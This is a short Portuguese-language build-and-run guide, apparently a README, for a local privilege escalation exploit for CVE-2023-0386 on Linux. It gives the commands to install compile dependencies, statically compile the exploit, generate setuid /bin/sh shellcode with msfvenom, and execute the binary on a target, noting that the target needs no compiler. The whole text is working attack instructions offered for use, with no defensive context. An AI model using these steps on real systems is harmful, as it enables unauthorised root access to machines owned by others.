
CVE-2023-0386 inclui as bibliotecas de runtime necessárias
Instalar ambiente de compilação
sudo apt install -y gcc libfuse-dev pkg-config
Compilar o exploit
gcc -Wall CVE-2023-0386.c `pkg-config fuse --cflags --libs` -D_FILE_OFFSET_BITS=64 -o CVE-2023-0386-exp -static -lfuse
Gerar shellcode
msfvenom -p linux/x86/exec CMD=/bin/sh PrependSetuid=True -f elf -o shellcode.elf && xxd -i -c 8 shellcode.elf
xxd -i -c 8 shellcode.elf
Execução no alvo, não é necessário que o alvo tenha gcc ou outros ambientes instalados
chmod +x CVE-2023-0386-exp && ./CVE-2023-0386-exp